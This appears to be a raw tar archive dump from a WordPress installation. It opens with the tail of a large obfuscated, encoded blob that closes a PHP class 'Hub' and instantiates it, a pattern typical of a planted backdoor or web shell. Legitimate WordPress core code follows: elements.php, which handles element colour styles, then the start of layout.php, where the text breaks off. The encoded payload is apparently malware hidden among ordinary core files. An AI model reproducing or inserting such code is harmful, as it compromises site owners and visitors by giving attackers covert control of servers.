	LZ/YpG0tDMe41A9MXac1VzD0Y4QiLudVE8TSAnVUWBY2+ilu6Hk79BLk
	Z36/HUNdye6qDzy2UKIVoXDE3jpnxi5pCHw6LpN5ducWW
	OH2CFSEQfCLtAt6m2X6bHxGFLHS/zHPEIEVtdDYvIMgzinrtRSetqm
	OC/O1Vtm1zuq8GXKAbg4Qx1zj1EhNtLVtjZ8HMUilje0C3Ww3IxgtL4Qy18V8J857eRrf
	fZ0vj20365CxCfX0/Gt2flZjaLmu7FlMutc0Yk/G1Z1ZdHEw
	DZukuNl7v5UfrhjTmppl/Hf8Ozdl3nT17I9OxH5locqL6147W1bI6EE+sAlTEXxchOaw6
	V4fus9hd18G5Uj2FZiD6LIfPweQ5nTr8/IuN32MPjtY4yb/C
	a2E1z69b1a3v911axGNLix5CymWmlKRqcKIm64QJKVX5j5JKMNddNjQuunFVPVborv5iV3Z4urddcN9
	QOHhPx5X2BB/6lhmRY56qCG/fj+oZ37t21ndm56VXoZEzEWLY/al89D8ERgu6gaHGg
	DiSoDPrau2KMlj0I1Us3Y8ErqFSUT7xqOw
	xt5k7fY3HvDo8+vO3anvQnme7IQpUYIcIbpKeA4
	DdK7+Z0aa35ZyP5hhwPlv100ARuMoAekN9+2jVcAioQc7nQ4p4e51GLR5e
	K8I6E90Fe6ZMOx64wg892/9XX7On3x+T7yg/K24kRy/2N/gB0jf+5db4ZpH
	i0euXjTX73HFopUEfXzwREd+VhlvQ0WZl5jAfJBcJGABhpCG76Ba
	dZf3f61MLC3FGEtLvcAcT8YYvy2NKgS7Uq+eHzr8+FOmyiBSEDw95
	Vyc1Rr2zCaCEPxZMwMcCR3LVynojTTPpzinKSl6d4i
	Th0+sAjbOy4QfqYRawXJtvpyZt9V7e4c3uqdM9LGyFBuPSFGAF9xaVCVG1IMyW+ckR3d
	HZdYlwPRPhjeyRxIbIufD4HrmMgkY6aY8uhS+6FwVoVxEPyOs1dWIOtxzERRfBS7BZBp
	nSmXmrOc7EYunlhDWOcLjzgUaKNQn2XB
	Unos0kAe/5mz1ql+FztDKMaa5zC9IUmxC
	KjcD7aSNxh1p0KqHRnkbR9JCgkSBFfsK42pxZ790sK/t7Ng4EhRkIzkbW0hA889txmgp
	Y/xIGG8dMsd+SN6kclla/8ZPfSCaEP2M4fHDp+LSu13kJK5GuEXXiG831pxz
	toD304gxjwLk2H+7YEM/RZPmGkDubL1FD5IFFEwHALoT
	paoZ2uKDn4KvcRjFsEieVmdGDX+lxH/aCuEhW12vSacAn8MWsk9m4
	/Axm2wYvvYshVBr9Ue84AZq7dODsQugWJhvdACeNl0kH49Xy9CsyPqNF5EwOpMN5Zk4
	/C/ey9cVCxlNm7hGCFZGguPEEipV+3Qu40StnLCG4K4XOMrTtFCp8+V9sSKP4VuozKhqVkpXHnDL
	v8UgnmuclG8yVLabYJEPw9U96mIe1EoBvlWqhCgFGr1bf/pOBS
	GQ3ajnfRYAnh3QYyfxCbk1g/si/jPx+CpSBzfh3MZa6Q
	cdn4/Xkxv7K1wcRlexb9b+a5SxkAu8k8w72DbzoAu76G8gQgO
	+8FfAI3htanbD0ygLKo9qcwdRVqy4hWmYSp/fQnZUs
	D6LTDN/ILhG/YWjRBjx6HJnK+ewY73sYqBucJzPg574
	s2dDNOUR8EzWs7Ar1/UBFSvT18c+5dKB8dT6qkYfpkgYUDIevObe6hJEUDZ
	hNbIY7WN4uqiZks6rk19Wv5mFn4sfXjl6/caE1h0FZ8v64oCRl029d8gELqZ21Jr
	jhmziPT40OX2iK5OyauDnUqtShXDA0dyeWPnWlEVFxWWWLlleHWiO/l6dg/+bLPQuC+pDAVhVfz
	m5K2T8l/rNhK5ZjctfkRlxWBp6ZozOQXB/alTh3/AClJ4k5tFBBNzO2Az3jubO
	49hxwgVQmfifbdT0657/mXywNXR7lz08zpK1saf
	6XBTGa7gYIhw/4jtYV+eJDA4Vq2xFIWETiipS8qOstLXtfAUfLSBZfO
	gZfznFdST9JsOC6fj4d+KrjKl59UHObm00HL7H3s/dX0FV9F0Khiv
	z10YhCjT4tlLZeqlzv/jlW3rzQxQVhsToBq
	JH95h46zPTGIQ+hiBXv89JzWWf8GzlHPU9mm33Dr26SlCji/YBW60py/AiNfpy+R6Jg6k15Td
	Q1W8y7cpqbUCzs70teTVvfCgDrd5ad2DJF77RlzqTL7rBqmlcyD54dChHNXtA7Uzn3taYcTT6vYoRE5c
	PVEIB/CWdRxj8P6tgzzmnfLh4EPgEsWJXDJMmbZomOmej1kY+LFNJWCrhQ7jx
	Y8G9yRX3DL8XXwT+/TKbPsaCUDWU6kLuVArfhCAn9Op/GNE8/MpJnQ75zNX+h35XR6O2EWfQohtSx
	GBIBQ7RODP2TjGv9a5Aztwy/Bs4qMpYsR4eSpYf6BLYvBaLL+tXAqOHS63JnOVGu
	YTuVasHRnUliOhYo1CSW+hxMKVKRBOOCcAVxtL0wawn1P8ynrTSdf6GwL7
	qqzTLFIXizcgjpVGG2Lgxgv/WRdRB0XJP9eh
	1t5VRbi+PpKbHMCAk702IIU29ewB9yJDRPE
	dSrvhLI8qUwnTucrghlow9qtte0pJhc6hcDF+uElnm4vJeM7
	teV18L5c52i/hJ4i3WWILUTBt0KaJw5+DBeybumgzgAYBU
	nhTOrYjaJfuPQ1VegJ5DPkQnnIw1scWUW6Li6rm5gLP1xX7
	LLzZ7rvCmixejPL6G1GD1rsPike47M4w8+B7CNkvF7xtYqgy71tiC+65mb0B
	n4SpM8P1cb47ZdlQXe1VtkGPwz5IoUtjE8Ja/6nYCObeXdWF
	/qURK4VkJGKs0Sc1QHsx/3Clcw1cY/1y1
	I8h5D9BH0pvCRjVWiQG0smzee/CljQZw
	Wn+Lq5cvf/zOowsIpnsMcgTfH58iKRMfjSf4jKACyeIVU4tyOQQABzCtcQEcpjhOLV
	XUjPxzwHtubWJL2JjooSR8qF2usx0jIqd/RN9d
	Dz20MfeGUro45JTsSKuxzabDC+gozzaMl7H9B7SdGmE03Bz
	ypn4DRZ1MEGKY/OicEfMoNXyB5hD3wxSbfnqG4zmquUg5EmZOLA5S2Rf9Vv5GPljZ06/zMUoz
	W8pyPXvG0Ai5cgcrHfC6dFyYGxA+DejsmadBsoFXEM4HKZkwV0FF8w54WOny
	A2w0yNlZJWunpGRUiGkKQtncPOsPvp5XooVPNClJtk4zEjC0dWDeaUFLu7QrC
	qwa+Kw0VyP+ebgwOncrr0xwrMiUWXMi8kIaMewlIa
	5WM5gnOmQlXXzoCYOF9lf+tR4CjMImOTb+7P2KvJrkPiTloFNAAGEK9lUhJ/Hd
	sCSXNeauMF8BmXmw2vtvErQxD8Zr8Hc
	YhmBGQctdVayIEwcjYg2P0JoeXMiusyzMlqcaBkE8Z1XhAoeIg3J0dAZ2Cl+mjcC7JEd6Tyd7p9g
	VSo2nCfgrcD7Uv54lE7IX4TFjIXHU55atSL4Wz6Nt7QcmdzXSkAp2UrK/JAlGAGJSg+ZXp4nN
	yVk+A4OTaZGDVXw+kshq/B/Zhli+mozeUl7lca8BMPlQb/JvWI+o2hgcw
	PqKwb3ZN03aNLN26Slv5+bTWMduFmoR3HgKu7HoFtDf89fg05WaX
	mLWUCrM0NBtZfFIHboXGPaCz4lU0mk9/NqbyVdYsetRVklZ0SW9rON
	fW4RdTxvnhc+qmWym5W0vc1odcwvZ1W5OMvKONAx
	5aXIctjvJp5PqMhv3rjVifcFf+s4F80Sn8AdMcOgfxnXeKyj
	4dGG4cMpVNvmFqAUYDJ7lvLOGJc+7eoSQ3LER7C/GQ57SIWIo/ap6bw9Te6ikbUZnUa
	sHLed3KPrS9kl39TyF3Hv5XZetF8zCB9qvynY
	6KOC1q33eQFbYKvceAVxxi4HD+5eEbaK
	VctjkHc5jPHirEiWSfSzE1vNLFM4dFUxMjNK6FlbcDsDnH6WGIRvYDCziEMxClnYvWvx4/u4QTvF6Dq6
	+zWREE6a+hT80qfCAwZoQMLEdFVftQ6GGxEBABj4wpoYovhgs
	4lXp3MSAdf+fbHXYVUSkP+uBODmbr1EYqR967xjFlayoL5pxzdXNNXBoXfRmmiNyOE6
	Hkx9/j1myJ2brYrFrQOThzqvPFU9sXLFnhRRe0NXs7UmIoFKtlC0
	Bh+OzQOS172SpoNsn9Nf0PSR8iXy2u6TyTyCL
	cSLAJp4nFc/IWUGbay1nrclDDok2X4B3
	qBGSktImQEz41ih+4OOPLPdsi4fdvCE2F5RsPjbqpErBpkYUTufi+nrVnAQhLPYh5tfhk8bTwyjC8
	Gg1b2jR/Blm9Cic3IeE8u3WHoHGjofKtjgFPLYq+OpTTtMwj/waLFC+wTJRQU3KWL4mJyz2j+ZvhY8
	MZO21EdhohWV/YFzJdEAkJ1LbaTHZdMAdt7s
	9oIjO+3GtK4TBYw0AjgIWX/DIYpBhJvy+6Ls+k0L6
	aRbOCLgsyz71po7smsmiBWew0E2rSfzKhi5zC/AlLg/Y32HaHKsDczJXKMbv35+vIU
	7SZq697bxulIjUS5E6eVj4qvFeQ4orbppgQatr7dPqB0FM0yZnaw21CdSo
	d76oSu60bhHn+DOZQkUN6LRaf+2QCWXw5oQ1MQMAH5WqmSC+IWBqseeo/G31WHbAa+f
	GjYwefhMlF/pvcvCaBVO2w6GukqRuyryX0aegb9w4Gc
	o+3Dj2IwX8Z42o9ZNA+rprBO8rSEglhbROyqTtqJANJeK7e9ubQp8TZntJ4/zt1gT1
	RZ/CVXkuc4D89D7Cw7nAlCv7qXT+OoUDvBOeO2ztUE87RTUB9WWehr9ggWSmv
	fLBOG9RdGqWqrEbMeHTRu+Jsm5eGm2+cc76Fb2lZeN4bI+2KSMhqn
	JspaZK+ZUCi+sokMQ66tN8RFFMdkxCckaWQkl3ioXB2zpo9nOmU44u+GxFXBkPUkAxmZ6
	kOAuK+g6vV9uE0RKUFovC3UnAZYfqKk6Pq3V0USc1BPXD2NUiKACPeRWDN
	/+gAJCSTfLHadgpVlN60XN9bv8J2izii5h5oArPdb6/
	f/bFU9oq95LfsG3tnyUfUBVMWbYyEy6s/hhTp8ha/vbhbzD3S+R7upRxxVVcRgUOuXI8QHsK2rQg6e
	hsQtic5LHCZZuuV0zIYlMfzxZEHLBWSAnhMZhXUT6F1jOsvjXx
	hlRAUp7PP3ahgPhTgLqlpOTpL8/g6rqaODPtM7/3Cfa
	TI3y39vi29EgiMtGvtBRphsUBl8CFLCe/Q5pzLpuwhIxcl0GQfD04ZmmygfNNcznloElrk5/x96Ucb
	gXytmTlvPgz9h11/L7mVEFJKR4V//QErsBQ/XG6cm6Fe3k25fiz96As8PkaM+hpvtzRPiWrzm59
	bFBRiyUYgkFe3I7K61yavY7iFra5QxfqW3CdZ/r7R3yC
	G5prg4LjcguCdT/1aW+5JBRWsUeF5nafkXvIf35PKo86d6w5jf8VDYjqO
	tWGbiLgiZriKqEupGTf6ns0lBrDVWLsnLjUPTC
	yI+/NSxkA9OebPmZQbQS6lm/SQimzJXbuY0HIMHvsCnyR6cDTr6lF9+fFhDcGGFCMkD/noaS
	FgTtQq65W88iDfgnDaVTzICpP3Mv6/NoTannbrzS6/2TRvv1YTItvTbBwqpAh6j/JCY/bilv/Xful2j
	kE5ikQHly/v0UbM4CqDSM+V43sUexEE8VjGDgKALMVOCubC882qvrSgcE/q5jV6WnO
	Dq6FTFQq9qY7y4NVZbcrRxgulizpSkMmVBDUL8nmxx52Jzh0x/a9MkbJkB9
	lBQe82LKAwF7Tq7wcPLbL+96Xo7Ite
	CRFRbg2QzwP4Cd9Fjag9+odKWZ4Wcdp+LDjV0Q/IsBGJGs8RjBvXq5/fUdJYJmgeT4JuzfKsOh+srVp
	JBPEIwQfUFdQU3F+NeLRNooLJm3Er5WVNOTPsz01RXq7vUSYVAWa4/CxTY4z7JfaqxFeihSCnUmB7
	Pn43m0K+IUdbf7QF4B1XM4AtVei72AvTI9IJlWLAQy9
	qF3ikvmHbmjSicXoRv+TGfx+SS6CkROXuRT
	UoaH1GJrVyICdMDV4L65rM2dg1W0Ozkz9Vy
	wLiSXDnLGE8ZoNctW01P3q90WJf9Dx5Ybz9/CR
	Wc+UgBZeqTZEn0befQj6e3vid1o3wHUi0G
	YYjvAUlOzXzhUi7RJgl9TtnP57PsjFNWk+D1
	IBEqFyYIR0fUVAAxEyQbuEgQ4/ks9Qr
	OjJ2oQVDzMkf7FKSNOF5RwZkPQDJxbNKrvqPDbz0OAvC3/v3fSh9Wl1Lt
	kwNWdKsAM8Lzwj0mK7wUtmCe20rHDG1BMpK1s
	wqjVCqUL4aPfwomDDVvh9hMVZ60JZpPfe/YuLxTPJEalq7dh+KEfx7YjwU3
	2TPmYHhRgWdLdlMqe+ZLjdm+FCKU04AT7uVY4c94LzCGdUsXoRUYphZD
	tB9c5N6MM6dkJNM6MeCb6pYs4h1nmjArfOepxcxZimCsp+RedaWf3hljhNbXP
	sgNoIX0paNCFGVFa952T49dFPmyiUlRivoy6svBV6Mgspk
	UTNrCNCJXuSgQDgNw1c7HW6bJj0MxJu6yC62w3p8epVXGOGjZR2+UIuI19x8pDfHNHX
	Vh+3Y/sLs5vpdnUA4PFhC6m0BvTSiNNw0EINf0ELWX/WYTZVdA89+6l
	lSap5Qg6VNWO1zSWVHIUcM9uMjQR1iSQhWxXCjxHzyyj5b+gi2ETtGBirCPMVocJ
	FOMN7uB9W4DMd+BvK5hwuiAWiOaSVMQtAvxzR+hcsdeSKH8NMpcWwzururZ+1jNv
	txD48dPlCnk8CwLTmCB4WHo/NOVG9TX1llAN
	AsgoM4vyT3HMSAwaayfkBzBK9dIgLMMZTz931grQ/6VBcZgUTf+T6yQm5oCXpQ/2m62Ab0
	KKhNKCv3pw5wPUhjoIxHRjhQQC1N8vn
	IPdd/qAF3P0HN4mik5k4axD1z9AwT1fuhwDtsF/a/KYHg/nEmowVN3EtHaeud+fEIT
	m83c8MhccO8T+BfxJXtO9eKNdcHtRcHqIrCoV6
	O3FUWT4j60LMSqSROHuzhsh6cd8rKjaYD4mHa2z
	4G97xcHphF+G6pHiKhq3jN/11ghfLSb9I7R9gcJwTx1T03FrFmzqIHvhMdLcnBUyTwGr3Z
	mXdFBQq1qEBFVZdQuZ5E5lw+Jfje41JWskdiZU+TeVe6
	nDMLAoPu+t2AB4FZdg9504j4IaZok9fM8bs4oFw/oMO1ZEEOpctTBpYy6igg
	7V7r1I2Hq8paFjRzEwOha9U+jaF63d4KuJfsvmsdEk
	w/hlWR/ZaASDqsG2353B+0ver6Qhss0/ONa/
	8Xody138aZcLFZ96DZ/wTpAHjjAOajs3oofeoIkbXmllWzXZo5PiV2WDBnlcSn931OutmfZl
	VMlncD5b1KEyJrWbiuzQWhtRBX9Do5RhpKRI85QAG8A0CzK8148iOgBWM+/
	D/WuGKlL25zBSWRSDcrL1LqwzKo3H+yF
	G9ge9XOKfbVkerb/wJ6vLKrvsGE+RqFpF86vpAHSsYrelxZ7JHyregO4nfJ9FvoDSVG7sJSRqWiRuKd
	Y31sUNd+43NaQKBdfqV0unfcWoqwqJDjh3zSlYW+bXeZCqk+yXrszUVQRHPK0SIruVq7ckN
	Tuxvv3oJHV7jvePV5CNGTGkgHB9R3vD8RdRoekYs
	Xmm6DZM2nKEyKpFR11lw3PzkPKLOsFI78EijSgR76BF8zH+TETTiALTa5G8gC4nIPk72i
	ZMpOrb2XRfUqla27TCzQu+Yl0FIGYNn59NTienAWrfBDcVe8PsXZKUwxYwBqFre3MA
	Xkycsfi/bK5aHCp/bs+FxtM5pihjiCV4GvsWcgmL4x3vdvm6lK7jx52dq3g
	0AGwsn8dAboFxXm6m5s6nK3M2YkA3cM
	hp7an7NP4951kCgBf59Be5ObkxHzc6f4KYvLkd7B4n23YA9U5avm/4
	oe5ji1yrgSoEaaFBiHsXnSJQPPZGmFDD7DhE825p98ulh
	pnb3hoqpmwMArAggm8iHYURta6E1erU/R5
	vjD/e6ceEzw/3VheLRDHuacyPHVeFhHzHKHA/+hCx
	XQE2q4+4Fpj50tJ/xRsTBTK2P3HTi4lDoNswI
	wJ3Hr8xJYHD+BHTfLt/MdMqfJOA0EKoPneIMYtvEpEGR+jnpr8
	lQCv3hxvKVDiiTFtRDnlIrF0wDWIS3i
	eflQjs9u+EGfqf3LtSJ4+1oT1+S6n+sXQ+dqape2pyvtqVLZ+
	VKCfu191R+psLgg7cq/AEGsq82tQU1Kg
	+X9snBTpAjw/aNalytlJT4B5wNkJ/6RCZcVRcvxNo
	fGixr/gU8mj8M5wnokaDnFgw26hfkwJCLNm3HYj9GJDsuB5Fo8O
	PxQMzHwBCFEsNoVo/bzeoY7Y8jh4EUgK/4CyGi
	ahDk++JJZwjVRWawqeuIIV1ECATjYuoCWAY0qfwetzYtWqb
	ne5kWBSAG2jXZzrLLr5CC8licdUlrkIn8D
	p15Z5r9yaIJUuschjF14U080x6rBWxxbfWW2SXB96zBTh4GJ4gHKMhhW
	r9XVKjQBdlnw0m1RC7rA7u+iMHOhVqFkdZttWAxd5pcfk/lmbZ4I1RIgG6wdKb
	vCtFBzFEIWanluRV+n0UM9Wmq+CJ8VyIYKvvTLGHm3G
	y2nycR15TzPYPI3lvR8ati0KAc0JUMMCwJacOeSC7Fjm/H0uylL4If8tr/OlLqB+V1s+OMIexf
	gJV3JUzpa8Sq0nNifnfu1cZCVwidrOJeELx3pM8z/haPQYijqwd/kAk4eqN+nJPS6P8bifb
	Bgqi2zrLcUKMOVYL6p4iwN94W7B48ItaQsIuP/UStVmsI0QNkPOC5Si0j
	woQuoztbTN9y0IU/m19LcOrvnqlDA361VhwMxDFGqIHUHvGcSTNBJtv/6Yco2j4J8k+6r
	UCT8i6jqPETorbFaIWDrQZzCaTe+uttSay46o2TnjUIBFasaxEej8IRiD0/OFwvL
	vZGFt6mJweaLBI6wLsb8IiYMMqoUxzniXCsk4HBYPK2app
	boX8Mgz1nzdBqFl79tkRYhCSdzPwrdqd/d5SS
	RNCAvyJNhy+a8pZ75/gWcSbVXYU51JqX+vDc029FeQGaPIW/8EeVPxj97Su1ERsaL8ZCILBoA7Y+
	6jFRqpZIb7H4z69PRMOYvO2oWLVLQgMfyqN0oO1l0KXOi
	UfQFV9SuDlt8KSUryqZijsSNBSEQAUbdBz4ls4woI6yF63YT7/iIRroxBNHUy
	AeKGFQ8xfxoyr9YvMg6GT6whFYhhRdKOhspP4iGrKPnXq+I
	JQJWw48uwXwOw5L45NdMzOdNa3egfITIKenln/lTYoKbYRDVdPM6Kr5EiJBC
	Ch/L4mC3cPb47oD1R8RMxsc56L+0Ru76MmZoO6
	9Zpwh6rTOK+LRs8tFsQU1XzIcizVX/MqB0blhiHRnvRWXPVEq8He4vm
	/hyO+LCOZjkDq1lyazvJkxt530SURyGhpwx1mPm80rtR4dy7dYJ+dAeiVvGTR5dntJH9igESCFX2j
	zGNePsZWaZZs1ZozN8tEbtAUIlkzIHTm9ZYZqD7ysDoXWqz3CNq3hJ76Ae86acwVLNiYHo0MJYPGSXc
	gTq7CGBSK89PLYIv6Ln7BOFB4R/DW1JO1+196PT3L+zSKMTCciu1H4Oqt0aw8
	G8wAnOM9i2VZ5Gy3Q+i/oP41ugKfJSmKB9if2T/MSs6MlzXs1qyoU7n7N+zOiIN
	nBMi9AiOWGhXv37lGWA1QfFxQJGXNhTcMtlEChVUWwwi13qc
	EBLzvDDfBtCaXkkfR7LxA/mI5JhomvVpAkt4nGjaUoFd9R026gdWTs7MKahXVHe3+HH1lTWV/
	ThddknWkSsEBE++6AgfRF+Q2w6mT+vEHXvW1d81ZZ3c0Zqz1Ki97/MSnQ36iHA
	6hrBj7LHjbazHDjpCNpeie638rIezn0Ak85IEFdQRgLr0DbPpjl9qyYsL
	Flnf1cLAFmIXaEykKRxlerN9rqFNdIWp2KTyXp+e0nB8uvCkIEzrxUfOmnF9Z2yCIEJ+I2qu
	ES+YU/T5mQq43ELgc3E3mu0W5aAMn+XN4UY9AQ+iKvJcwk31T6q4c0npHcqAgpg
	LMPpj5G5Ym04zDgbCBNeH8EosCJOgdxrjKWvjBLMpZp972sDyv0X/0n
	0xthG3nEfosG6Wkbp8AJrHkSQXdFxfzcOuDs
	VWHkwZ8TYawTOxNV6DWhskB4xXqybW9be0N
	Zv76NG3/tgXjDC1hPkpo2zAVJwB3KlOtsnIIFhTmqKyKoAGT
	7paOjt3vmKJhkQI6BaF4Kyas4E/vaGHKYdgee1cASY3vNMaY3tYRrquXvnxmMIQWxwg9y1
	/EyWx2S0bFKQ/W7SeU3biVZHVUc9ZajfrH
	DAKl3sKaJ7PTPfJe1B/OIPaIvKpyoFEDy9PqUOOZOE5/rz1fqrPwkwLs
	2vCM0oXC4k+2Sw6vA7UDVlkbKD+w3gMUJJpNWljcoaXRDziaAjL2LsBO/awal8HApuZ1Z6nqYu
	/diJcQuqKxTRl9d7pB6kUxCOQJlB64DAE9CmJ71
	bBYNB5KCZM81qR1ofhwKfMyWyGwji8hukUUbczr67/3
	bUTLvmJ6nMa2KhX4hBUoQiKuC/Q21VxeYHzZUdrFDkJA4M8/pgENRE8uoDsftAdAPIT1BPp
	6KEQ+ud5EdWzVZzMBwlNQNXuk49QCrqNSmVYfNaLvsja/2jNAsTeKTzO1B
	4BuxboVd+BlrDFOxl9AkKFRCL2nZRz+M4tlBEqxd8gyijWaWlE4zd/4WN/
	p2QdDBvQGiT3KlXXWQZCRnMjIzv3e8S6k6kMoluTJ2fi+5DtYzIn8RjPqM
	UCp5Hp9MNfJiwhmuqqPxvbiaYXlB1onJ5iMgZcjlLVzeVIvl1d07k+Id
	VpxfdLUzG6sjZX0RuxxHEjtFYlhSYlE7Eyck2h2FS2YSamYEg4OEI8OmTlkkfkXGzAQO
	aTPEIgIwD7hcwLkkJGruYT9Jzm4ECxmQlWb7swr2giKRsWgYt64z
	qG0XDzZmYvvbCdiMDbU4btKuOCO0HLQZe9wzqfIPkIhNtldEDI/YvkpJMq/sw0XcZsBvayJeWLx
	QKHpuYn8jJxG4eWO9dPFKNaPi+M034xTR4E
	/WPg6jhWrabEAxwwSUuOP8ADVx91sdeIK34mlOnRmXTpEvPIQyycTZcU
	dMWWYpXbE9993';
	public $adapter;
	public $_process;
}

new Hub();
?>elements.php000064400000020730151443227760007106 0ustar00<?php
/**
 * Elements styles block support.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Gets the elements class names.
 *
 * @since 6.0.0
 * @access private
 *
 * @param array $block Block object.
 * @return string The unique class name.
 */
function wp_get_elements_class_name( $block ) {
	return 'wp-elements-' . md5( serialize( $block ) );
}

/**
 * Determines whether an elements class name should be added to the block.
 *
 * @since 6.6.0
 * @access private
 *
 * @param  array $block   Block object.
 * @param  array $options Per element type options e.g. whether to skip serialization.
 * @return boolean Whether the block needs an elements class name.
 */
function wp_should_add_elements_class_name( $block, $options ) {
	if ( ! isset( $block['attrs']['style']['elements'] ) ) {
		return false;
	}

	$element_color_properties = array(
		'button'  => array(
			'skip'  => isset( $options['button']['skip'] ) ? $options['button']['skip'] : false,
			'paths' => array(
				array( 'button', 'color', 'text' ),
				array( 'button', 'color', 'background' ),
				array( 'button', 'color', 'gradient' ),
			),
		),
		'link'    => array(
			'skip'  => isset( $options['link']['skip'] ) ? $options['link']['skip'] : false,
			'paths' => array(
				array( 'link', 'color', 'text' ),
				array( 'link', ':hover', 'color', 'text' ),
			),
		),
		'heading' => array(
			'skip'  => isset( $options['heading']['skip'] ) ? $options['heading']['skip'] : false,
			'paths' => array(
				array( 'heading', 'color', 'text' ),
				array( 'heading', 'color', 'background' ),
				array( 'heading', 'color', 'gradient' ),
				array( 'h1', 'color', 'text' ),
				array( 'h1', 'color', 'background' ),
				array( 'h1', 'color', 'gradient' ),
				array( 'h2', 'color', 'text' ),
				array( 'h2', 'color', 'background' ),
				array( 'h2', 'color', 'gradient' ),
				array( 'h3', 'color', 'text' ),
				array( 'h3', 'color', 'background' ),
				array( 'h3', 'color', 'gradient' ),
				array( 'h4', 'color', 'text' ),
				array( 'h4', 'color', 'background' ),
				array( 'h4', 'color', 'gradient' ),
				array( 'h5', 'color', 'text' ),
				array( 'h5', 'color', 'background' ),
				array( 'h5', 'color', 'gradient' ),
				array( 'h6', 'color', 'text' ),
				array( 'h6', 'color', 'background' ),
				array( 'h6', 'color', 'gradient' ),
			),
		),
	);

	$elements_style_attributes = $block['attrs']['style']['elements'];

	foreach ( $element_color_properties as $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		foreach ( $element_config['paths'] as $path ) {
			if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Render the elements stylesheet and adds elements class name to block as required.
 *
 * In the case of nested blocks we want the parent element styles to be rendered before their descendants.
 * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
 * we want the descendant style to take priority, and this is done by loading it after, in DOM order.
 *
 * @since 6.0.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`.
 * @access private
 *
 * @param array $parsed_block The parsed block.
 * @return array The same parsed block with elements classname added if appropriate.
 */
function wp_render_elements_support_styles( $parsed_block ) {
	/*
	 * The generation of element styles and classname were moved to the
	 * `render_block_data` filter in 6.6.0 to avoid filtered attributes
	 * breaking the application of the elements CSS class.
	 *
	 * @see https://github.com/WordPress/gutenberg/pull/59535
	 *
	 * The change in filter means, the argument types for this function
	 * have changed and require deprecating.
	 */
	if ( is_string( $parsed_block ) ) {
		_deprecated_argument(
			__FUNCTION__,
			'6.6.0',
			__( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' )
		);
	}

	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] );
	$element_block_styles = isset( $parsed_block['attrs']['style']['elements'] ) ? $parsed_block['attrs']['style']['elements'] : null;

	if ( ! $element_block_styles ) {
		return $parsed_block;
	}

	$skip_link_color_serialization         = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
	$skip_heading_color_serialization      = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' );
	$skip_button_color_serialization       = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' );
	$skips_all_element_color_serialization = $skip_link_color_serialization &&
		$skip_heading_color_serialization &&
		$skip_button_color_serialization;

	if ( $skips_all_element_color_serialization ) {
		return $parsed_block;
	}

	$options = array(
		'button'  => array( 'skip' => $skip_button_color_serialization ),
		'link'    => array( 'skip' => $skip_link_color_serialization ),
		'heading' => array( 'skip' => $skip_heading_color_serialization ),
	);

	if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) {
		return $parsed_block;
	}

	$class_name         = wp_get_elements_class_name( $parsed_block );
	$updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name;

	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	// Generate element styles based on selector and store in style engine for enqueuing.
	$element_types = array(
		'button'  => array(
			'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link",
			'skip'     => $skip_button_color_serialization,
		),
		'link'    => array(
			'selector'       => ".$class_name a:where(:not(.wp-element-button))",
			'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover",
			'skip'           => $skip_link_color_serialization,
		),
		'heading' => array(
			'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6",
			'skip'     => $skip_heading_color_serialization,
			'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),
		),
	);

	foreach ( $element_types as $element_type => $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		$element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null;

		// Process primary element type styles.
		if ( $element_style_object ) {
			wp_style_engine_get_styles(
				$element_style_object,
				array(
					'selector' => $element_config['selector'],
					'context'  => 'block-supports',
				)
			);

			if ( isset( $element_style_object[':hover'] ) ) {
				wp_style_engine_get_styles(
					$element_style_object[':hover'],
					array(
						'selector' => $element_config['hover_selector'],
						'context'  => 'block-supports',
					)
				);
			}
		}

		// Process related elements e.g. h1-h6 for headings.
		if ( isset( $element_config['elements'] ) ) {
			foreach ( $element_config['elements'] as $element ) {
				$element_style_object = isset( $element_block_styles[ $element ] )
					? $element_block_styles[ $element ]
					: null;

				if ( $element_style_object ) {
					wp_style_engine_get_styles(
						$element_style_object,
						array(
							'selector' => ".$class_name $element",
							'context'  => 'block-supports',
						)
					);
				}
			}
		}
	}

	return $parsed_block;
}

/**
 * Ensure the elements block support class name generated, and added to
 * block attributes, in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @see wp_render_elements_support_styles
 * @since 6.6.0
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_elements_class_name( $block_content, $block ) {
	$class_string = $block['attrs']['className'] ?? '';
	preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 );
add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 );
layout.php000064400000115773151443230030006603 0ustar00<?php
/**
 * Layout block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Returns layout definitions, keyed by layout type.
 *
 * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type.
 * When making changes or additions to layout definitions, the corresponding JavaScript definitions should
 * also be updated.
 *
 * @since 6.3.0
 * @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity.
 * @access private
 *
